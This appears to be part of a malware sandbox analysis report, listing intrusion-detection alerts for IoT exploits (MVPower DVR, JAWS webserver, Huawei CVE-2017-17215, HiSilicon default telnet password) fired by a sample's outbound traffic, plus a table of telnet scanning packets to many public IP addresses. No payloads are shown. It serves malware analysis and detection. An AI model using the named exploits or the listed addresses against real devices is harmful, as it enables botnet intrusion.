03/13/24-09:36:14.091389	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59190	80	192.168.2.15	104.196.18.71
03/13/24-09:36:35.171608	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54432	80	192.168.2.15	35.241.6.69
03/13/24-09:36:41.892389	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55446	80	192.168.2.15	146.56.253.174
03/13/24-09:36:38.184058	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53550	80	192.168.2.15	34.197.97.121
03/13/24-09:35:48.896568	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51968	80	192.168.2.15	52.36.184.249
03/13/24-09:36:11.809353	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52882	80	192.168.2.15	4.157.16.63
03/13/24-09:36:38.177510	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55624	80	192.168.2.15	104.21.58.203
03/13/24-09:35:22.930889	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58264	80	192.168.2.15	119.45.178.155
03/13/24-09:35:38.576096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49368	80	192.168.2.15	13.211.32.130
03/13/24-09:36:42.291485	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51170	80	192.168.2.15	23.64.51.44
03/13/24-09:35:03.402793	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49944	80	192.168.2.15	107.190.228.44
03/13/24-09:36:51.026696	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37010	80	192.168.2.15	14.92.225.134
03/13/24-09:35:38.175079	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34812	80	192.168.2.15	37.53.56.73
03/13/24-09:35:56.238422	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56530	80	192.168.2.15	212.31.19.143
03/13/24-09:36:45.747775	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41518	80	192.168.2.15	35.178.88.90
03/13/24-09:36:49.083612	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60616	80	192.168.2.15	108.167.161.104
03/13/24-09:36:45.941195	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58236	80	192.168.2.15	52.9.249.33
03/13/24-09:36:51.042331	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54658	80	192.168.2.15	116.58.44.58
03/13/24-09:36:20.884419	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59716	80	192.168.2.15	107.180.54.249
03/13/24-09:35:53.313146	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57906	80	192.168.2.15	13.39.26.165
03/13/24-09:36:38.136681	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53270	80	192.168.2.15	45.56.75.180
03/13/24-09:35:23.386030	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57492	80	192.168.2.15	52.0.203.213
03/13/24-09:35:23.409471	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43730	80	192.168.2.15	198.199.59.134
03/13/24-09:36:16.224290	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60018	80	192.168.2.15	64.227.105.141
03/13/24-09:36:31.419803	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38114	80	192.168.2.15	93.119.0.28
03/13/24-09:35:49.103671	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33974	80	192.168.2.15	72.77.85.222
03/13/24-09:36:23.835744	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34520	80	192.168.2.15	104.140.93.140
03/13/24-09:35:53.644018	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53702	80	192.168.2.15	54.169.195.71
03/13/24-09:35:20.221016	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58596	80	192.168.2.15	103.101.153.183
03/13/24-09:36:16.499221	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35224	80	192.168.2.15	52.197.56.2
03/13/24-09:36:32.247523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42892	80	192.168.2.15	176.88.216.242
03/13/24-09:35:51.175150	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58338	80	192.168.2.15	208.87.99.128
03/13/24-09:36:27.829953	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41472	37215	192.168.2.15	156.235.107.22
03/13/24-09:36:02.736882	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59220	80	192.168.2.15	65.9.69.92
03/13/24-09:36:20.881165	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57348	80	192.168.2.15	143.244.156.8
03/13/24-09:35:37.994549	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35074	80	192.168.2.15	118.89.68.235
03/13/24-09:36:38.339928	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53214	80	192.168.2.15	52.79.35.188
03/13/24-09:35:03.425144	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60192	80	192.168.2.15	92.117.151.104
03/13/24-09:36:20.155123	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59724	80	192.168.2.15	107.180.54.249
03/13/24-09:35:35.768917	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56846	80	192.168.2.15	200.88.231.100
03/13/24-09:36:06.432054	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57738	80	192.168.2.15	45.129.97.179
03/13/24-09:35:27.902260	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60164	80	192.168.2.15	91.232.74.20
03/13/24-09:35:26.045958	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38024	80	192.168.2.15	20.242.39.121
03/13/24-09:36:14.488011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46884	80	192.168.2.15	34.93.58.157
03/13/24-09:36:37.624726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60292	80	192.168.2.15	184.31.179.53
03/13/24-09:35:03.594209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46008	80	192.168.2.15	182.23.79.157
03/13/24-09:36:54.844549	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39534	80	192.168.2.15	165.232.167.138
03/13/24-09:35:35.707702	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42166	80	192.168.2.15	20.85.85.62
03/13/24-09:35:37.670179	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33452	37215	192.168.2.15	156.241.14.31
03/13/24-09:35:38.279386	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52778	80	192.168.2.15	89.32.145.164
03/13/24-09:35:38.348830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56184	80	192.168.2.15	188.94.248.176
03/13/24-09:36:42.282693	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54598	80	192.168.2.15	13.52.5.4
03/13/24-09:36:38.266539	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47544	80	192.168.2.15	213.136.17.217
03/13/24-09:35:04.156303	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51002	80	192.168.2.15	23.206.48.35
03/13/24-09:36:06.238033	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60220	80	192.168.2.15	54.86.191.6
03/13/24-09:36:51.026696	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37010	80	192.168.2.15	14.92.225.134
03/13/24-09:36:14.010919	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49826	80	192.168.2.15	216.57.226.26
03/13/24-09:36:42.282693	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54598	80	192.168.2.15	13.52.5.4
03/13/24-09:36:38.136681	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53270	80	192.168.2.15	45.56.75.180
03/13/24-09:35:24.709827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60214	37215	192.168.2.15	156.247.24.116
03/13/24-09:35:43.019587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40526	37215	192.168.2.15	156.241.10.222
03/13/24-09:36:17.845532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50276	37215	192.168.2.15	156.254.100.183
03/13/24-09:36:19.929531	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45460	80	192.168.2.15	130.164.94.211
03/13/24-09:36:45.941195	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58236	80	192.168.2.15	52.9.249.33
03/13/24-09:36:51.042331	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54658	80	192.168.2.15	116.58.44.58
03/13/24-09:36:13.430832	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48152	80	192.168.2.15	82.194.168.210
03/13/24-09:36:02.433760	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60738	80	192.168.2.15	184.27.159.88
03/13/24-09:36:46.016739	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39392	80	192.168.2.15	188.217.114.71
03/13/24-09:35:38.123489	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60672	80	192.168.2.15	212.16.87.79
03/13/24-09:35:00.424539	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45018	80	192.168.2.15	91.246.63.209
03/13/24-09:35:04.404475	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45094	80	192.168.2.15	78.186.205.237
03/13/24-09:36:06.808683	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54248	80	192.168.2.15	167.71.224.247
03/13/24-09:35:03.402793	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49944	80	192.168.2.15	107.190.228.44
03/13/24-09:35:35.786923	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40130	80	192.168.2.15	138.4.152.6
03/13/24-09:36:49.258153	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51816	80	192.168.2.15	86.106.182.6
03/13/24-09:36:03.028460	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49234	80	192.168.2.15	210.203.11.238
03/13/24-09:35:04.404475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45094	80	192.168.2.15	78.186.205.237
03/13/24-09:36:20.884419	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59716	80	192.168.2.15	107.180.54.249
03/13/24-09:35:02.865989	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50854	80	192.168.2.15	116.162.161.24
03/13/24-09:36:20.155123	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59724	80	192.168.2.15	107.180.54.249
03/13/24-09:35:38.123489	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60672	80	192.168.2.15	212.16.87.79
03/13/24-09:35:23.409471	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43730	80	192.168.2.15	198.199.59.134
03/13/24-09:35:38.219568	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33100	80	192.168.2.15	23.42.119.230
03/13/24-09:36:29.264359	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44452	80	192.168.2.15	87.236.19.186
03/13/24-09:36:54.844549	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39534	80	192.168.2.15	165.232.167.138
03/13/24-09:35:41.314483	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56028	80	192.168.2.15	18.229.108.40
03/13/24-09:36:45.747708	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50122	80	192.168.2.15	184.85.70.23
03/13/24-09:35:28.367724	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56584	80	192.168.2.15	13.126.159.214
03/13/24-09:36:06.355740	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49378	80	192.168.2.15	43.255.45.200
03/13/24-09:35:49.172475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51318	80	192.168.2.15	193.49.48.200
03/13/24-09:35:51.175150	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58338	80	192.168.2.15	208.87.99.128
03/13/24-09:36:20.881165	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57348	80	192.168.2.15	143.244.156.8
03/13/24-09:35:53.644018	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53702	80	192.168.2.15	54.169.195.71
03/13/24-09:36:06.432054	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57738	80	192.168.2.15	45.129.97.179
03/13/24-09:36:55.223714	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38752	80	192.168.2.15	51.20.1.154
03/13/24-09:36:16.499221	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35224	80	192.168.2.15	52.197.56.2
03/13/24-09:35:38.348830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56184	80	192.168.2.15	188.94.248.176
03/13/24-09:35:04.156303	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51002	80	192.168.2.15	23.206.48.35
03/13/24-09:36:14.488011	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46884	80	192.168.2.15	34.93.58.157
03/13/24-09:36:32.297705	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36478	80	192.168.2.15	140.227.85.230
03/13/24-09:36:45.822227	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59450	80	192.168.2.15	179.233.80.189
03/13/24-09:35:38.279386	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52778	80	192.168.2.15	89.32.145.164
03/13/24-09:36:49.268725	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54294	80	192.168.2.15	20.91.181.127
03/13/24-09:36:31.480456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34084	37215	192.168.2.15	156.224.15.81
03/13/24-09:35:37.994549	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35074	80	192.168.2.15	118.89.68.235
03/13/24-09:36:37.624726	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60292	80	192.168.2.15	184.31.179.53
03/13/24-09:35:27.902260	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60164	80	192.168.2.15	91.232.74.20
03/13/24-09:36:21.077908	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54430	80	192.168.2.15	35.170.175.108
03/13/24-09:36:41.395910	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49736	80	192.168.2.15	35.180.109.177
03/13/24-09:36:34.122265	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43066	37215	192.168.2.15	156.254.81.143
03/13/24-09:36:55.223714	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38752	80	192.168.2.15	51.20.1.154
03/13/24-09:35:41.027358	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47972	80	192.168.2.15	23.43.197.49
03/13/24-09:36:13.976308	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36156	80	192.168.2.15	54.146.18.202
03/13/24-09:36:23.899173	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56578	80	192.168.2.15	191.61.154.23
03/13/24-09:36:42.248125	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47744	80	192.168.2.15	18.245.130.228
03/13/24-09:36:12.608472	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50760	80	192.168.2.15	90.244.188.177
03/13/24-09:36:45.951308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60874	80	192.168.2.15	159.69.95.59
03/13/24-09:36:16.217602	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48168	80	192.168.2.15	163.28.224.199
03/13/24-09:36:07.397010	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46934	80	192.168.2.15	43.227.22.178
03/13/24-09:36:13.531005	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51798	80	192.168.2.15	154.197.69.111
03/13/24-09:35:53.629751	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37400	80	192.168.2.15	203.143.87.170
03/13/24-09:36:45.913467	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35726	80	192.168.2.15	149.29.118.217
03/13/24-09:35:38.204713	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38872	80	192.168.2.15	34.49.241.18
03/13/24-09:35:35.768854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45900	80	192.168.2.15	64.23.172.171
03/13/24-09:35:00.424539	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45018	80	192.168.2.15	91.246.63.209
03/13/24-09:35:50.893830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42956	80	192.168.2.15	72.46.57.34
03/13/24-09:35:42.017125	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43992	80	192.168.2.15	69.192.211.5
03/13/24-09:36:14.134989	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53564	80	192.168.2.15	172.241.215.166
03/13/24-09:36:21.409875	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48502	80	192.168.2.15	104.197.183.33
03/13/24-09:35:32.762667	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36628	80	192.168.2.15	23.75.211.230
03/13/24-09:36:02.433760	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60738	80	192.168.2.15	184.27.159.88
03/13/24-09:35:33.034416	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49220	80	192.168.2.15	108.59.3.120
03/13/24-09:35:32.978251	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51604	80	192.168.2.15	23.208.231.3
03/13/24-09:35:38.349172	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34576	80	192.168.2.15	164.92.198.46
03/13/24-09:36:48.530022	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47130	80	192.168.2.15	121.152.67.252
03/13/24-09:35:51.547302	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47608	80	192.168.2.15	124.223.47.85
03/13/24-09:35:32.585392	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45526	80	192.168.2.15	18.161.198.98
03/13/24-09:35:38.576096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49368	80	192.168.2.15	13.211.32.130
03/13/24-09:36:06.808683	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54248	80	192.168.2.15	167.71.224.247
03/13/24-09:36:07.355481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41448	80	192.168.2.15	45.197.50.182
03/13/24-09:35:49.172475	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51318	80	192.168.2.15	193.49.48.200
03/13/24-09:36:41.364188	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33740	80	192.168.2.15	35.186.249.253
03/13/24-09:35:30.059951	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33632	80	192.168.2.15	83.99.176.150
03/13/24-09:35:48.896568	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51968	80	192.168.2.15	52.36.184.249
03/13/24-09:36:38.177510	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55624	80	192.168.2.15	104.21.58.203
03/13/24-09:36:38.266539	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47544	80	192.168.2.15	213.136.17.217
03/13/24-09:35:58.383630	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59478	80	192.168.2.15	104.102.34.241
03/13/24-09:36:37.612328	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35718	80	192.168.2.15	23.41.180.70
03/13/24-09:35:56.378672	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48442	80	192.168.2.15	213.155.66.36
03/13/24-09:36:26.817197	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59760	80	192.168.2.15	123.60.161.245
03/13/24-09:36:32.297705	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36478	80	192.168.2.15	140.227.85.230
03/13/24-09:36:45.747708	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50122	80	192.168.2.15	184.85.70.23
03/13/24-09:35:33.109491	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35040	80	192.168.2.15	118.89.68.235
03/13/24-09:35:33.034381	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40392	80	192.168.2.15	34.233.37.223
03/13/24-09:36:07.397010	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46934	80	192.168.2.15	43.227.22.178
03/13/24-09:36:38.252910	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45822	80	192.168.2.15	5.79.67.86
03/13/24-09:36:45.747775	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41518	80	192.168.2.15	35.178.88.90
03/13/24-09:36:16.224290	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60018	80	192.168.2.15	64.227.105.141
03/13/24-09:36:31.419803	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38114	80	192.168.2.15	93.119.0.28
03/13/24-09:35:28.367724	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56584	80	192.168.2.15	13.126.159.214
03/13/24-09:36:42.248125	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47744	80	192.168.2.15	18.245.130.228
03/13/24-09:35:35.768854	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45900	80	192.168.2.15	64.23.172.171
03/13/24-09:36:35.190209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36578	80	192.168.2.15	34.203.113.78
03/13/24-09:35:38.219568	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33100	80	192.168.2.15	23.42.119.230
03/13/24-09:35:53.629751	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37400	80	192.168.2.15	203.143.87.170
03/13/24-09:36:26.080905	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38312	80	192.168.2.15	72.44.39.162
03/13/24-09:36:35.453052	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33346	80	192.168.2.15	212.14.142.99
03/13/24-09:36:41.395910	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49736	80	192.168.2.15	35.180.109.177
03/13/24-09:35:33.034416	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49220	80	192.168.2.15	108.59.3.120
03/13/24-09:35:48.868680	TCP	2027973	ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound	39662	23	192.168.2.15	85.87.113.10
03/13/24-09:36:16.070399	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60776	80	192.168.2.15	196.51.148.245
03/13/24-09:36:31.643256	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41788	80	192.168.2.15	61.160.202.82
03/13/24-09:35:48.888429	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43640	80	192.168.2.15	34.242.169.70
03/13/24-09:35:50.893830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42956	80	192.168.2.15	72.46.57.34
03/13/24-09:35:42.017125	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43992	80	192.168.2.15	69.192.211.5
03/13/24-09:35:41.027358	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47972	80	192.168.2.15	23.43.197.49
03/13/24-09:36:07.355481	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41448	80	192.168.2.15	45.197.50.182
03/13/24-09:36:49.509395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51518	37215	192.168.2.15	156.254.74.45
03/13/24-09:36:45.913467	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35726	80	192.168.2.15	149.29.118.217
03/13/24-09:36:49.083612	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60616	80	192.168.2.15	108.167.161.104
03/13/24-09:36:45.716918	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35858	80	192.168.2.15	74.121.217.94
03/13/24-09:36:16.070399	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60776	80	192.168.2.15	196.51.148.245
03/13/24-09:35:32.585392	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45526	80	192.168.2.15	18.161.198.98
03/13/24-09:35:53.313146	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57906	80	192.168.2.15	13.39.26.165
03/13/24-09:36:13.976308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36156	80	192.168.2.15	54.146.18.202
03/13/24-09:35:29.011253	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40390	37215	192.168.2.15	41.80.32.93
03/13/24-09:35:56.378672	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48442	80	192.168.2.15	213.155.66.36
03/13/24-09:36:14.134989	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53564	80	192.168.2.15	172.241.215.166
03/13/24-09:36:23.180263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53386	37215	192.168.2.15	156.241.8.50
03/13/24-09:35:33.034381	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40392	80	192.168.2.15	34.233.37.223
03/13/24-09:36:11.809353	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52882	80	192.168.2.15	4.157.16.63
03/13/24-09:37:02.359551	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39140	80	192.168.2.15	20.85.137.33
03/13/24-09:35:32.978251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51604	80	192.168.2.15	23.208.231.3
03/13/24-09:36:26.080905	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38312	80	192.168.2.15	72.44.39.162
03/13/24-09:36:11.709846	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46954	80	192.168.2.15	194.195.127.71
03/13/24-09:35:04.067293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33840	80	192.168.2.15	168.168.6.30
03/13/24-09:35:48.996592	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41254	80	192.168.2.15	104.16.13.138
03/13/24-09:36:55.012342	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33842	80	192.168.2.15	198.251.113.173
03/13/24-09:35:58.383630	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59478	80	192.168.2.15	104.102.34.241

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2024 09:34:58.278948069 CET	56885	23	192.168.2.15	75.194.187.212
Mar 13, 2024 09:34:58.278970957 CET	56885	23	192.168.2.15	35.244.17.228
Mar 13, 2024 09:34:58.278974056 CET	56885	23	192.168.2.15	79.65.129.179
Mar 13, 2024 09:34:58.278975010 CET	56885	23	192.168.2.15	219.160.31.177
Mar 13, 2024 09:34:58.278975010 CET	56885	23	192.168.2.15	185.124.166.143
Mar 13, 2024 09:34:58.278975010 CET	56885	23	192.168.2.15	61.120.112.120
Mar 13, 2024 09:34:58.279007912 CET	56885	23	192.168.2.15	197.104.241.177
Mar 13, 2024 09:34:58.279007912 CET	56885	23	192.168.2.15	119.210.155.177
Mar 13, 2024 09:34:58.279007912 CET	56885	23	192.168.2.15	179.145.220.68
Mar 13, 2024 09:34:58.279015064 CET	56885	23	192.168.2.15	111.179.43.245
Mar 13, 2024 09:34:58.279015064 CET	56885	23	192.168.2.15	96.122.77.182
Mar 13, 2024 09:34:58.279016018 CET	56885	23	192.168.2.15	51.40.99.206
Mar 13, 2024 09:34:58.279016018 CET	56885	23	192.168.2.15	69.146.185.2
Mar 13, 2024 09:34:58.279021025 CET	56885	23	192.168.2.15	161.7.16.59
Mar 13, 2024 09:34:58.279021025 CET	56885	23	192.168.2.15	122.231.110.228
